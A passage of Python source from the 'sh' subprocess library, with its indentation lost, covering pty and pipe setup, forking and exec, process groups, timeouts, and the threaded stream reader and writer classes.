# output correctly (is if stdout and stdin are both the same TTY)
if single_tty:
# master_fd, slave_fd = pty.openpty()
#
# Anything that is written on the master end is provided to the process on the slave end as though it was
# input typed on a terminal. -"man 7 pty"
#
# later, in the child process, we're going to do this, so keep it in mind:
#
# os.dup2(self._stdin_child_fd, 0)
# os.dup2(self._stdout_child_fd, 1)
# os.dup2(self._stderr_child_fd, 2)
self._stdin_parent_fd, self._stdin_child_fd = pty.openpty()
# this makes our parent fds behave like a terminal. it says that the very same fd that we "type" to (for
# stdin) is the same one that we see output printed to (for stdout)
self._stdout_parent_fd = os.dup(self._stdin_parent_fd)
# this line is what makes stdout and stdin attached to the same pty. in other words the process will write
# to the same underlying fd as stdout as it uses to read from for stdin. this makes programs like ssh happy
self._stdout_child_fd = os.dup(self._stdin_child_fd)
self._stderr_parent_fd = os.dup(self._stdin_parent_fd)
self._stderr_child_fd = os.dup(self._stdin_child_fd)
# do not consolidate stdin and stdout. this is the most common use-
# case
else:
# this check here is because we may be doing piping and so our stdin
# might be an instance of OProc
if isinstance(stdin, OProc) and stdin.call_args["piped"]:
self._stdin_child_fd = stdin._pipe_fd
self._stdin_parent_fd = None
self._stdin_process = stdin
elif stdin_is_fd_based:
self._stdin_child_fd = os.dup(get_fileno(stdin))
self._stdin_parent_fd = None
elif ca["tty_in"]:
self._stdin_parent_fd, self._stdin_child_fd = pty.openpty()
# tty_in=False is the default
else:
self._stdin_child_fd, self._stdin_parent_fd = os.pipe()
if stdout_is_fd_based and not tee_out:
self._stdout_child_fd = os.dup(get_fileno(stdout))
self._stdout_parent_fd = None
# tty_out=True is the default
elif ca["tty_out"]:
self._stdout_parent_fd, self._stdout_child_fd = pty.openpty()
else:
self._stdout_parent_fd, self._stdout_child_fd = os.pipe()
# unless STDERR is going to STDOUT, it ALWAYS needs to be a pipe,
# and never a PTY. the reason for this is not totally clear to me,
# but it has to do with the fact that if STDERR isn't set as the
# CTTY (because STDOUT is), the STDERR buffer won't always flush
# by the time the process exits, and the data will be lost.
# i've only seen this on OSX.
if stderr is OProc.STDOUT:
# if stderr is going to stdout, but stdout is a tty or a pipe,
# we should not specify a read_fd, because stdout is os.dup'ed
# directly to the stdout fd (no pipe), and so stderr won't have
# a slave end of a pipe either to dup
if stdout_is_fd_based and not tee_out:
self._stderr_parent_fd = None
else:
self._stderr_parent_fd = os.dup(self._stdout_parent_fd)
self._stderr_child_fd = os.dup(self._stdout_child_fd)
elif stderr_is_fd_based and not tee_err:
self._stderr_child_fd = os.dup(get_fileno(stderr))
self._stderr_parent_fd = None
else:
self._stderr_parent_fd, self._stderr_child_fd = os.pipe()
piped = ca["piped"]
self._pipe_fd = None
if piped:
fd_to_use = self._stdout_parent_fd
if piped == "err":
fd_to_use = self._stderr_parent_fd
self._pipe_fd = os.dup(fd_to_use)
new_session = ca["new_session"]
needs_ctty = ca["tty_in"] and new_session
self.ctty = None
if needs_ctty:
self.ctty = os.ttyname(self._stdin_child_fd)
gc_enabled = gc.isenabled()
if gc_enabled:
gc.disable()
# for synchronizing
session_pipe_read, session_pipe_write = os.pipe()
exc_pipe_read, exc_pipe_write = os.pipe()
# this pipe is for synchronizing with the child that the parent has
# closed its in/out/err fds. this is a bug on OSX (but not linux),
# where we can lose output sometimes, due to a race, if we do
# os.close(self._stdout_child_fd) in the parent after the child starts
# writing.
if IS_MACOS:
close_pipe_read, close_pipe_write = os.pipe()
else:
close_pipe_read, close_pipe_write = None, None
# session id, group id, process id
self.sid = None
self.pgid = None
self.pid = os.fork()
# child
if self.pid == 0: # pragma: no cover
if IS_MACOS:
os.read(close_pipe_read, 1)
os.close(close_pipe_read)
os.close(close_pipe_write)
# this is critical
# our exc_pipe_write must have CLOEXEC enabled. the reason for this is tricky:
# if our child (the block we're in now), has an exception, we need to be able to write to exc_pipe_write, so
# that when the parent does os.read(exc_pipe_read), it gets our traceback. however, os.read(exc_pipe_read)
# in the parent blocks, so if our child *doesn't* have an exception, and doesn't close the writing end, it
# hangs forever. not good! but obviously the child can't close the writing end until it knows it's not
# going to have an exception, which is impossible to know because but what if os.execv has an exception? so
# the answer is CLOEXEC, so that the writing end of the pipe gets closed upon successful exec, and the
# parent reading the read end won't block (close breaks the block).
flags = fcntl.fcntl(exc_pipe_write, fcntl.F_GETFD)
flags |= fcntl.FD_CLOEXEC
fcntl.fcntl(exc_pipe_write, fcntl.F_SETFD, flags)
try:
# ignoring SIGHUP lets us persist even after the parent process
# exits. only ignore if we're backgrounded
if ca["bg"] is True:
signal.signal(signal.SIGHUP, signal.SIG_IGN)
# python ignores SIGPIPE by default. we must make sure to put
# this behavior back to the default for spawned processes,
# otherwise SIGPIPE won't kill piped processes, which is what we
# need, so that we can check the error code of the killed
# process to see that SIGPIPE killed it
signal.signal(signal.SIGPIPE, signal.SIG_DFL)
# put our forked process in a new session? this will relinquish
# any control of our inherited CTTY and also make our parent
# process init
if new_session:
os.setsid()
# if we're not going in a new session, we should go in a new
# process group. this way, our process, and any children it
# spawns, are alone, contained entirely in one group. if we
# didn't do this, and didn't use a new session, then our exec'd
# process *could* exist in the same group as our python process,
# depending on how we launch the process (from a shell, or some
# other way)
else:
os.setpgrp()
sid = os.getsid(0)
pgid = os.getpgid(0)
payload = ("%d,%d" % (sid, pgid)).encode(DEFAULT_ENCODING)
os.write(session_pipe_write, payload)
if ca["tty_out"] and not stdout_is_fd_based and not single_tty:
# set raw mode, so there isn't any weird translation of
# newlines to \r\n and other oddities. we're not outputting
# to a terminal anyways
#
# we HAVE to do this here, and not in the parent process,
# because we have to guarantee that this is set before the
# child process is run, and we can't do it twice.
tty.setraw(self._stdout_child_fd)
# if the parent-side fd for stdin exists, close it. the case
# where it may not exist is if we're using piping
if self._stdin_parent_fd:
os.close(self._stdin_parent_fd)
if self._stdout_parent_fd:
os.close(self._stdout_parent_fd)
if self._stderr_parent_fd:
os.close(self._stderr_parent_fd)
os.close(session_pipe_read)
os.close(exc_pipe_read)
cwd = ca["cwd"]
if cwd:
os.chdir(cwd)
os.dup2(self._stdin_child_fd, 0)
os.dup2(self._stdout_child_fd, 1)
os.dup2(self._stderr_child_fd, 2)
# set our controlling terminal, but only if we're using a tty
# for stdin. it doesn't make sense to have a ctty otherwise
if needs_ctty:
tmp_fd = os.open(os.ttyname(0), os.O_RDWR)
os.close(tmp_fd)
if ca["tty_out"] and not stdout_is_fd_based:
setwinsize(1, ca["tty_size"])
if ca["uid"] is not None:
os.setgid(target_gid)
os.setuid(target_uid)
preexec_fn = ca["preexec_fn"]
if callable(preexec_fn):
preexec_fn()
close_fds = ca["close_fds"]
if ca["pass_fds"]:
close_fds = True
if close_fds:
pass_fds = set((0, 1, 2, exc_pipe_write))
pass_fds.update(ca["pass_fds"])
# don't inherit file descriptors
inherited_fds = os.listdir("/dev/fd")
inherited_fds = set(int(fd) for fd in inherited_fds) - pass_fds
for fd in inherited_fds:
try:
os.close(fd)
except OSError:
pass
# actually execute the process
if ca["env"] is None:
os.execv(cmd[0], cmd)
else:
os.execve(cmd[0], cmd, ca["env"])
# we must ensure that we carefully exit the child process on
# exception, otherwise the parent process code will be executed
# twice on exception https://github.com/amoffat/sh/issues/202
#
# if your parent process experiences an exit code 255, it is most
# likely that an exception occurred between the fork of the child
# and the exec. this should be reported.
except: # noqa: E722
# some helpful debugging
tb = traceback.format_exc().encode("utf8", "ignore")
try:
os.write(exc_pipe_write, tb)
except Exception as e:
# dump to stderr if we cannot save it to exc_pipe_write
sys.stderr.write("\nFATAL SH ERROR: %s\n" % e)
finally:
os._exit(255)
# parent
else:
if gc_enabled:
gc.enable()
os.close(self._stdin_child_fd)
os.close(self._stdout_child_fd)
os.close(self._stderr_child_fd)
# tell our child process that we've closed our write_fds, so it is
# ok to proceed towards exec. see the comment where this pipe is
# opened, for why this is necessary
if IS_MACOS:
os.close(close_pipe_read)
os.write(close_pipe_write, str(1).encode(DEFAULT_ENCODING))
os.close(close_pipe_write)
os.close(exc_pipe_write)
fork_exc = os.read(exc_pipe_read, 1024 ** 2)
os.close(exc_pipe_read)
if fork_exc:
fork_exc = fork_exc.decode(DEFAULT_ENCODING)
raise ForkException(fork_exc)
os.close(session_pipe_write)
sid, pgid = os.read(session_pipe_read, 1024).decode(DEFAULT_ENCODING).split(",")
os.close(session_pipe_read)
self.sid = int(sid)
self.pgid = int(pgid)
# used to determine what exception to raise. if our process was
# killed via a timeout counter, we'll raise something different than
# a SIGKILL exception
self.timed_out = False
self.started = time.time()
self.cmd = cmd
# exit code should only be manipulated from within self._wait_lock
# to prevent race conditions
self.exit_code = None
self.stdin = stdin
# this accounts for when _out is a callable that is passed stdin. in that case, if stdin is unspecified, we
# must set it to a queue, so callbacks can put things on it
if callable(ca["out"]) and self.stdin is None:
self.stdin = Queue()
# _pipe_queue is used internally to hand off stdout from one process
# to another. by default, all stdout from a process gets dumped
# into this pipe queue, to be consumed in real time (hence the
# thread-safe Queue), or at a potentially later time
self._pipe_queue = Queue()
# this is used to prevent a race condition when we're waiting for
# a process to end, and the OProc's internal threads are also checking
# for the processes's end
self._wait_lock = threading.Lock()
# these are for aggregating the stdout and stderr. we use a deque
# because we don't want to overflow
self._stdout = deque(maxlen=ca["internal_bufsize"])
self._stderr = deque(maxlen=ca["internal_bufsize"])
if ca["tty_in"] and not stdin_is_fd_based:
setwinsize(self._stdin_parent_fd, ca["tty_size"])
self.log = parent_log.get_child("process", repr(self))
self.log.debug("started process")
# disable echoing, but only if it's a tty that we created ourselves
if ca["tty_in"] and not stdin_is_fd_based:
attr = termios.tcgetattr(self._stdin_parent_fd)
attr[3] &= ~termios.ECHO
termios.tcsetattr(self._stdin_parent_fd, termios.TCSANOW, attr)
# this represents the connection from a Queue object (or whatever
# we're using to feed STDIN) to the process's STDIN fd
self._stdin_stream = None
if self._stdin_parent_fd:
log = self.log.get_child("streamwriter", "stdin")
self._stdin_stream = StreamWriter(log, self._stdin_parent_fd, self.stdin,
ca["in_bufsize"], ca["encoding"], ca["tty_in"])
stdout_pipe = None
if pipe is OProc.STDOUT and not ca["no_pipe"]:
stdout_pipe = self._pipe_queue
# this represents the connection from a process's STDOUT fd to
# wherever it has to go, sometimes a pipe Queue (that we will use
# to pipe data to other processes), and also an internal deque
# that we use to aggregate all the output
save_stdout = not ca["no_out"] and (tee_out or stdout is None)
pipe_out = ca["piped"] in ("out", True)
pipe_err = ca["piped"] in ("err",)
# if we're piping directly into another process's file descriptor, we
# bypass reading from the stdout stream altogether, because we've
# already hooked up this processes's stdout fd to the other
# processes's stdin fd
self._stdout_stream = None
if not pipe_out and self._stdout_parent_fd:
if callable(stdout):
stdout = construct_streamreader_callback(self, stdout)
self._stdout_stream = StreamReader(
self.log.get_child("streamreader", "stdout"),
self._stdout_parent_fd, stdout, self._stdout,
ca["out_bufsize"], ca["encoding"],
ca["decode_errors"], stdout_pipe,
save_data=save_stdout
)
elif self._stdout_parent_fd:
os.close(self._stdout_parent_fd)
# if stderr is going to one place (because it's grouped with stdout,
# or we're dealing with a single tty), then we don't actually need a
# stream reader for stderr, because we've already set one up for
# stdout above
self._stderr_stream = None
if stderr is not OProc.STDOUT and not single_tty and not pipe_err and self._stderr_parent_fd:
stderr_pipe = None
if pipe is OProc.STDERR and not ca["no_pipe"]:
stderr_pipe = self._pipe_queue
save_stderr = not ca["no_err"] and (ca["tee"] in ("err",) or stderr is None)
if callable(stderr):
stderr = construct_streamreader_callback(self, stderr)
self._stderr_stream = StreamReader(
Logger("streamreader"),
self._stderr_parent_fd, stderr, self._stderr,
ca["err_bufsize"], ca["encoding"], ca["decode_errors"],
stderr_pipe, save_data=save_stderr
)
elif self._stderr_parent_fd:
os.close(self._stderr_parent_fd)
def timeout_fn():
self.timed_out = True
self.signal(ca["timeout_signal"])
self._timeout_event = None
self._timeout_timer = None
if ca["timeout"]:
self._timeout_event = threading.Event()
self._timeout_timer = threading.Timer(ca["timeout"], self._timeout_event.set)
self._timeout_timer.start()
# this is for cases where we know that the RunningCommand that was
# launched was not .wait()ed on to complete. in those unique cases,
# we allow the thread that processes output to report exceptions in
# that thread. it's important that we only allow reporting of the
# exception, and nothing else (like the additional stuff that
# RunningCommand.wait() does), because we want the exception to be
# re-raised in the future, if we DO call .wait()
handle_exit_code = None
if not self.command._spawned_and_waited and ca["bg_exc"]:
def fn(exit_code):
with process_assign_lock:
return self.command.handle_command_exit_code(exit_code)
handle_exit_code = fn
self._quit_threads = threading.Event()
thread_name = "background thread for pid %d" % self.pid
self._bg_thread_exc_queue = Queue(1)
self._background_thread = _start_daemon_thread(
background_thread,
thread_name, self._bg_thread_exc_queue, timeout_fn,
self._timeout_event, handle_exit_code, self.is_alive,
self._quit_threads
)
# start the main io threads. stdin thread is not needed if we are
# connecting from another process's stdout pipe
self._input_thread = None
self._input_thread_exc_queue = Queue(1)
if self._stdin_stream:
close_before_term = not needs_ctty
thread_name = "STDIN thread for pid %d" % self.pid
self._input_thread = _start_daemon_thread(
input_thread,
thread_name, self._input_thread_exc_queue, self.log,
self._stdin_stream, self.is_alive, self._quit_threads,
close_before_term
)
# this event is for cases where the subprocess that we launch
# launches its OWN subprocess and os.dup's the stdout/stderr fds to that
# new subprocess. in that case, stdout and stderr will never EOF,
# so our output_thread will never finish and will hang. this event
# prevents that hanging
self._stop_output_event = threading.Event()
self._output_thread_exc_queue = Queue(1)
thread_name = "STDOUT/ERR thread for pid %d" % self.pid
self._output_thread = _start_daemon_thread(
output_thread,
thread_name, self._output_thread_exc_queue, self.log,
self._stdout_stream, self._stderr_stream,
self._timeout_event, self.is_alive, self._quit_threads,
self._stop_output_event
)
def __repr__(self):
return "<Process %d %r>" % (self.pid, self.cmd[:500])
# these next 3 properties are primary for tests
@property
def output_thread_exc(self):
exc = None
try:
exc = self._output_thread_exc_queue.get(False)
except Empty:
pass
return exc
@property
def input_thread_exc(self):
exc = None
try:
exc = self._input_thread_exc_queue.get(False)
except Empty:
pass
return exc
@property
def bg_thread_exc(self):
exc = None
try:
exc = self._bg_thread_exc_queue.get(False)
except Empty:
pass
return exc
def change_in_bufsize(self, buf):
self._stdin_stream.stream_bufferer.change_buffering(buf)
def change_out_bufsize(self, buf):
self._stdout_stream.stream_bufferer.change_buffering(buf)
def change_err_bufsize(self, buf):
self._stderr_stream.stream_bufferer.change_buffering(buf)
@property
def stdout(self):
return "".encode(self.call_args["encoding"]).join(self._stdout)
@property
def stderr(self):
return "".encode(self.call_args["encoding"]).join(self._stderr)
def get_pgid(self):
""" return the CURRENT group id of the process. this differs from
self.pgid in that this reflects the current state of the process, where
self.pgid is the group id at launch """
return os.getpgid(self.pid)
def get_sid(self):
""" return the CURRENT session id of the process. this differs from
self.sid in that this reflects the current state of the process, where
self.sid is the session id at launch """
return os.getsid(self.pid)
def signal_group(self, sig):
self.log.debug("sending signal %d to group", sig)
os.killpg(self.get_pgid(), sig)
def signal(self, sig):
self.log.debug("sending signal %d", sig)
os.kill(self.pid, sig)
def kill_group(self):
self.log.debug("killing group")
self.signal_group(signal.SIGKILL)
def kill(self):
self.log.debug("killing")
self.signal(signal.SIGKILL)
def terminate(self):
self.log.debug("terminating")
self.signal(signal.SIGTERM)
def is_alive(self):
""" polls if our child process has completed, without blocking. this
method has side-effects, such as setting our exit_code, if we happen to
see our child exit while this is running """
if self.exit_code is not None:
return False, self.exit_code
# what we're doing here essentially is making sure that the main thread
# (or another thread), isn't calling .wait() on the process. because
# .wait() calls os.waitpid(self.pid, 0), we can't do an os.waitpid
# here...because if we did, and the process exited while in this
# thread, the main thread's os.waitpid(self.pid, 0) would raise OSError
# (because the process ended in another thread).
#
# so essentially what we're doing is, using this lock, checking if
# we're calling .wait(), and if we are, let .wait() get the exit code
# and handle the status, otherwise let us do it.
acquired = self._wait_lock.acquire(False)
if not acquired:
if self.exit_code is not None:
return False, self.exit_code
return True, self.exit_code
try:
# WNOHANG is just that...we're calling waitpid without hanging...
# essentially polling the process. the return result is (0, 0) if
# there's no process status, so we check that pid == self.pid below
# in order to determine how to proceed
pid, exit_code = no_interrupt(os.waitpid, self.pid, os.WNOHANG)
if pid == self.pid:
self.exit_code = handle_process_exit_code(exit_code)
self._process_just_ended()
return False, self.exit_code
# no child process
except OSError:
return False, self.exit_code
else:
return True, self.exit_code
finally:
self._wait_lock.release()
def _process_just_ended(self):
if self._timeout_timer:
self._timeout_timer.cancel()
done_callback = self.call_args["done"]
if done_callback:
success = self.exit_code in self.call_args["ok_code"]
done_callback(success, self.exit_code)
# this can only be closed at the end of the process, because it might be
# the CTTY, and closing it prematurely will send a SIGHUP. we also
# don't want to close it if there's a self._stdin_stream, because that
# is in charge of closing it also
if self._stdin_parent_fd and not self._stdin_stream:
os.close(self._stdin_parent_fd)
def wait(self):
""" waits for the process to complete, handles the exit code """
self.log.debug("acquiring wait lock to wait for completion")
# using the lock in a with-context blocks, which is what we want if
# we're running wait()
with self._wait_lock:
self.log.debug("got wait lock")
witnessed_end = False
if self.exit_code is None:
self.log.debug("exit code not set, waiting on pid")
pid, exit_code = no_interrupt(os.waitpid, self.pid, 0) # blocks
self.exit_code = handle_process_exit_code(exit_code)
witnessed_end = True
else:
self.log.debug("exit code already set (%d), no need to wait", self.exit_code)
self._quit_threads.set()
# we may not have a thread for stdin, if the pipe has been connected
# via _piped="direct"
if self._input_thread:
self._input_thread.join()
# wait, then signal to our output thread that the child process is
# done, and we should have finished reading all the stdout/stderr
# data that we can by now
timer = threading.Timer(2.0, self._stop_output_event.set)
timer.start()
# wait for our stdout and stderr streamreaders to finish reading and
# aggregating the process output
self._output_thread.join()
timer.cancel()
self._background_thread.join()
if witnessed_end:
self._process_just_ended()
return self.exit_code
def input_thread(log, stdin, is_alive, quit_thread, close_before_term):
""" this is run in a separate thread. it writes into our process's
stdin (a streamwriter) and waits the process to end AND everything that
can be written to be written """
closed = False
alive = True
poller = Poller()
poller.register_write(stdin)
while poller and alive:
changed = poller.poll(1)
for fd, events in changed:
if events & (POLLER_EVENT_WRITE | POLLER_EVENT_HUP):
log.debug("%r ready for more input", stdin)
done = stdin.write()
if done:
poller.unregister(stdin)
if close_before_term:
stdin.close()
closed = True
alive, _ = is_alive()
while alive:
quit_thread.wait(1)
alive, _ = is_alive()
if not closed:
stdin.close()
def event_wait(ev, timeout=None):
triggered = ev.wait(timeout)
if IS_PY26:
triggered = ev.is_set()
return triggered
def background_thread(timeout_fn, timeout_event, handle_exit_code, is_alive, quit_thread):
""" handles the timeout logic """
# if there's a timeout event, loop
if timeout_event:
while not quit_thread.is_set():
timed_out = event_wait(timeout_event, 0.1)
if timed_out:
timeout_fn()
break
# handle_exit_code will be a function ONLY if our command was NOT waited on
# as part of its spawning. in other words, it's probably a background
# command
#
# this reports the exit code exception in our thread. it's purely for the
# user's awareness, and cannot be caught or used in any way, so it's ok to
# suppress this during the tests
if handle_exit_code and not RUNNING_TESTS: # pragma: no cover
alive = True
exit_code = None
while alive:
quit_thread.wait(1)
alive, exit_code = is_alive()
handle_exit_code(exit_code)
def output_thread(log, stdout, stderr, timeout_event, is_alive, quit_thread, stop_output_event):
""" this function is run in a separate thread. it reads from the
process's stdout stream (a streamreader), and waits for it to claim that
its done """
poller = Poller()
if stdout is not None:
poller.register_read(stdout)
if stderr is not None:
poller.register_read(stderr)
# this is our poll loop for polling stdout or stderr that is ready to
# be read and processed. if one of those streamreaders indicate that it
# is done altogether being read from, we remove it from our list of
# things to poll. when no more things are left to poll, we leave this
# loop and clean up
while poller:
changed = no_interrupt(poller.poll, 0.1)
for f, events in changed:
if events & (POLLER_EVENT_READ | POLLER_EVENT_HUP):
log.debug("%r ready to be read from", f)
done = f.read()
if done:
poller.unregister(f)
elif events & POLLER_EVENT_ERROR:
# for some reason, we have to just ignore streams that have had an
# error. i'm not exactly sure why, but don't remove this until we
# figure that out, and create a test for it
pass
if timeout_event and timeout_event.is_set():
break
if stop_output_event.is_set():
break
# we need to wait until the process is guaranteed dead before closing our
# outputs, otherwise SIGPIPE
alive, _ = is_alive()
while alive:
quit_thread.wait(1)
alive, _ = is_alive()
if stdout:
stdout.close()
if stderr:
stderr.close()
class DoneReadingForever(Exception):
pass
class NotYetReadyToRead(Exception):
pass
def determine_how_to_read_input(input_obj):
""" given some kind of input object, return a function that knows how to
read chunks of that input object.
each reader function should return a chunk and raise a DoneReadingForever
exception, or return None, when there's no more data to read
NOTE: the function returned does not need to care much about the requested
buffering type (eg, unbuffered vs newline-buffered). the StreamBufferer
will take care of that. these functions just need to return a
reasonably-sized chunk of data. """
if isinstance(input_obj, Queue):
log_msg = "queue"
get_chunk = get_queue_chunk_reader(input_obj)
elif callable(input_obj):
log_msg = "callable"
get_chunk = get_callable_chunk_reader(input_obj)
# also handles stringio
elif hasattr(input_obj, "read"):
log_msg = "file descriptor"
get_chunk = get_file_chunk_reader(input_obj)
elif isinstance(input_obj, basestring):
log_msg = "string"
get_chunk = get_iter_string_reader(input_obj)
elif isinstance(input_obj, bytes):
log_msg = "bytes"
get_chunk = get_iter_string_reader(input_obj)
elif isinstance(input_obj, GeneratorType):
log_msg = "generator"
get_chunk = get_iter_chunk_reader(iter(input_obj))
elif input_obj is None:
log_msg = "None"
def raise_():
raise DoneReadingForever
get_chunk = raise_
else:
try:
it = iter(input_obj)
except TypeError:
raise Exception("unknown input object")
else:
log_msg = "general iterable"
get_chunk = get_iter_chunk_reader(it)
return get_chunk, log_msg
def get_queue_chunk_reader(stdin):
def fn():
try:
chunk = stdin.get(True, 0.1)
except Empty:
raise NotYetReadyToRead
if chunk is None:
raise DoneReadingForever
return chunk
return fn
def get_callable_chunk_reader(stdin):
def fn():
try:
data = stdin()
except DoneReadingForever:
raise
if not data:
raise DoneReadingForever
return data
return fn
def get_iter_string_reader(stdin):
""" return an iterator that returns a chunk of a string every time it is
called. notice that even though bufsize_type might be line buffered, we're
not doing any line buffering here. that's because our StreamBufferer
handles all buffering. we just need to return a reasonable-sized chunk. """
bufsize = 1024
iter_str = (stdin[i:i + bufsize] for i in range(0, len(stdin), bufsize))
return get_iter_chunk_reader(iter_str)
def get_iter_chunk_reader(stdin):
def fn():
try:
if IS_PY3:
chunk = stdin.__next__()
else:
chunk = stdin.next()
return chunk
except StopIteration:
raise DoneReadingForever
return fn
def get_file_chunk_reader(stdin):
bufsize = 1024
def fn():
# python 3.* includes a fileno on stringios, but accessing it throws an
# exception. that exception is how we'll know we can't do a poll on
# stdin
is_real_file = True
if IS_PY3:
try:
stdin.fileno()
except UnsupportedOperation:
is_real_file = False
# this poll is for files that may not yet be ready to read. we test
# for fileno because StringIO/BytesIO cannot be used in a poll
if is_real_file and hasattr(stdin, "fileno"):
poller = Poller()
poller.register_read(stdin)
changed = poller.poll(0.1)
ready = False
for fd, events in changed:
if events & (POLLER_EVENT_READ | POLLER_EVENT_HUP):
ready = True
if not ready:
raise NotYetReadyToRead
chunk = stdin.read(bufsize)
if not chunk:
raise DoneReadingForever
else:
return chunk
return fn
def bufsize_type_to_bufsize(bf_type):
""" for a given bufsize type, return the actual bufsize we will read.
notice that although 1 means "newline-buffered", we're reading a chunk size
of 1024. this is because we have to read something. we let a
StreamBufferer instance handle splitting our chunk on newlines """
# newlines
if bf_type == 1:
bufsize = 1024
# unbuffered
elif bf_type == 0:
bufsize = 1
# or buffered by specific amount
else:
bufsize = bf_type
return bufsize
class StreamWriter(object):
""" StreamWriter reads from some input (the stdin param) and writes to a fd
(the stream param). the stdin may be a Queue, a callable, something with
the "read" method, a string, or an iterable """
def __init__(self, log, stream, stdin, bufsize_type, encoding, tty_in):
self.stream = stream
self.stdin = stdin
self.log = log
self.encoding = encoding
self.tty_in = tty_in
self.stream_bufferer = StreamBufferer(bufsize_type, self.encoding)
self.get_chunk, log_msg = determine_how_to_read_input(stdin)
self.log.debug("parsed stdin as a %s", log_msg)
def fileno(self):
""" defining this allows us to do poll on an instance of this
class """
return self.stream
def write(self):
""" attempt to get a chunk of data to write to our child process's
stdin, then write it. the return value answers the questions "are we
done writing forever?" """
# get_chunk may sometimes return bytes, and sometimes return strings
# because of the nature of the different types of STDIN objects we
# support
try:
chunk = self.get_chunk()
if chunk is None:
raise DoneReadingForever
except DoneReadingForever:
self.log.debug("done reading")
if self.tty_in:
# EOF time
try:
char = termios.tcgetattr(self.stream)[6][termios.VEOF]
except: # noqa: E722
char = chr(4).encode()
# normally, one EOF should be enough to signal to an program
# that is read()ing, to return 0 and be on your way. however,
# some programs are misbehaved, like python3.1 and python3.2.
# they don't stop reading sometimes after read() returns 0.
# this can be demonstrated with the following program:
#
# import sys
# sys.stdout.write(sys.stdin.read())
#
# then type 'a' followed by ctrl-d 3 times. in python
# 2.6,2.7,3.3,3.4,3.5,3.6, it only takes 2 ctrl-d to terminate.
# however, in python 3.1 and 3.2, it takes all 3.
#
# so here we send an extra EOF along, just in case. i don't
# believe it can hurt anything
os.write(self.stream, char)
os.write(self.stream, char)
return True
except NotYetReadyToRead:
self.log.debug("received no data")
return False
# if we're not bytes, make us bytes
if IS_PY3 and not isinstance(chunk, bytes):
chunk = chunk.encode(self.encoding)
for proc_chunk in self.stream_bufferer.process(chunk):
self.log.debug("got chunk size %d: %r", len(proc_chunk), proc_chunk[:30])
self.log.debug("writing chunk to process")
try:
os.write(self.stream, proc_chunk)
except OSError:
self.log.debug("OSError writing stdin chunk")
return True
def close(self):
self.log.debug("closing, but flushing first")
chunk = self.stream_bufferer.flush()
self.log.debug("got chunk size %d to flush: %r", len(chunk), chunk[:30])
try:
if chunk:
os.write(self.stream, chunk)
except OSError:
pass
os.close(self.stream)
def determine_how_to_feed_output(handler, encoding, decode_errors):
if callable(handler):
process, finish = get_callback_chunk_consumer(handler, encoding, decode_errors)
# in py3, this is used for bytes
elif isinstance(handler, (cStringIO, iocStringIO)):
process, finish = get_cstringio_chunk_consumer(handler)
# in py3, this is used for unicode
elif isinstance(handler, (StringIO, ioStringIO)):
process, finish = get_stringio_chunk_consumer(handler, encoding, decode_errors)
elif hasattr(handler, "write"):
process, finish = get_file_chunk_consumer(handler)
else:
try:
handler = int(handler)
except (ValueError, TypeError):
process = lambda chunk: False # noqa: E731
finish = lambda: None # noqa: E731
else:
process, finish = get_fd_chunk_consumer(handler)
return process, finish
def get_fd_chunk_consumer(handler):
handler = fdopen(handler, "w", closefd=False)
return get_file_chunk_consumer(handler)
def get_file_chunk_consumer(handler):
if getattr(handler, "encoding", None):
encode = lambda chunk: chunk.decode(handler.encoding) # noqa: E731
else:
encode = lambda chunk: chunk # noqa: E731
if hasattr(handler, "flush"):
flush = handler.flush
else:
flush = lambda: None # noqa: E731
def process(chunk):
handler.write(encode(chunk))
# we should flush on an fd. chunk is already the correctly-buffered
# size, so we don't need the fd buffering as well
flush()
return False
def finish():
flush()
return process, finish
def get_callback_chunk_consumer(handler, encoding, decode_errors):
def process(chunk):
# try to use the encoding first, if that doesn't work, send
# the bytes, because it might be binary
try:
chunk = chunk.decode(encoding, decode_errors)
except UnicodeDecodeError:
pass
return handler(chunk)
def finish():
pass
return process, finish
def get_cstringio_chunk_consumer(handler):
def process(chunk):
handler.write(chunk)
return False
def finish():
pass
return process, finish
def get_stringio_chunk_consumer(handler, encoding, decode_errors):
def process(chunk):
handler.write(chunk.decode(encoding, decode_errors))
return False
def finish():
pass
return process, finish
class StreamReader(object):
""" reads from some output (the stream) and sends what it just read to the
handler. """
def __init__(self, log, stream, handler, buffer, bufsize_type, encoding, decode_errors, pipe_queue=None,
save_data=True):
self.stream = stream
self.buffer = buffer
self.save_data = save_data
self.encoding = encoding
self.decode_errors = decode_errors
self.pipe_queue = None
if pipe_queue:
self.pipe_queue = weakref.ref(pipe_queue)
self.log = log
self.stream_bufferer = StreamBufferer(bufsize_type, self.encoding, self.decode_errors)
self.bufsize = bufsize_type_to_bufsize(bufsize_type)
self.process_chunk, self.finish_chunk_processor = \
determine_how_to_feed_output(handler, encoding, decode_errors)
self.should_quit = False
def fileno(self):
""" defining this allows us to do poll on an instance of this
class """
return self.stream
def close(self):
chunk = self.stream_bufferer.flush()
self.log.debug("got chunk size %d to flush: %r", len(chunk), chunk[:30])
if chunk:
self.write_chunk(chunk)
self.finish_chunk_processor()
if self.pipe_queue and self.save_data:
self.pipe_queue().put(None)
os.close(self.stream)
def write_chunk(self, chunk):
# in PY3, the chunk coming in will be bytes, so keep that in mind
if not self.should_quit:
self.should_quit = self.process_chunk(chunk)
if self.save_data:
self.buffer.append(chunk)
if self.pipe_queue:
self.log.debug("putting chunk onto pipe: %r", chunk[:30])
self.pipe_queue().put(chunk)
def read(self):
# if we're PY3, we're reading bytes, otherwise we're reading
# str
try:
chunk = no_interrupt(os.read, self.stream, self.bufsize)
except OSError as e:
self.log.debug("got errno %d, done reading", e.errno)
return True
if not chunk:
self.log.debug("got no chunk, done reading")
return True
self.log.debug("got chunk size %d: %r", len(chunk), chunk[:30])
for chunk in self.stream_bufferer.process(chunk):
self.write_chunk(chunk)
class StreamBufferer(object):
""" this is used for feeding in chunks of stdout/stderr, and breaking it up
into chunks that will actually be put into the internal buffers. for
example, if you have two processes, one being piped to the other, and you
want that, first process to feed lines of data (instead of the chunks
however they come in), OProc will use an instance of this class to chop up
the data and feed it as lines to be sent down the pipe """
def __init__(self, buffer_type, encoding=DEFAULT_ENCODING, decode_errors="strict"):
# 0 for unbuffered, 1 for line, everything else for that amount
self.type = buffer_type
self.buffer = []
self.n_buffer_count = 0
self.encoding = encoding
self.decode_errors = decode_errors
# this is for if we change buffering types. if we change from line
# buffered to unbuffered, its very possible that our self.buffer list
# has data that was being saved up (while we searched for a newline).
# we need to use that up, so we don't lose it
self._use_up_buffer_first = False
# the buffering lock is used because we might change the buffering
# types from a different thread. for example, if we have a stdout
# callback, we might use it to change the way stdin buffers. so we
# lock
self._buffering_lock = threading.RLock()
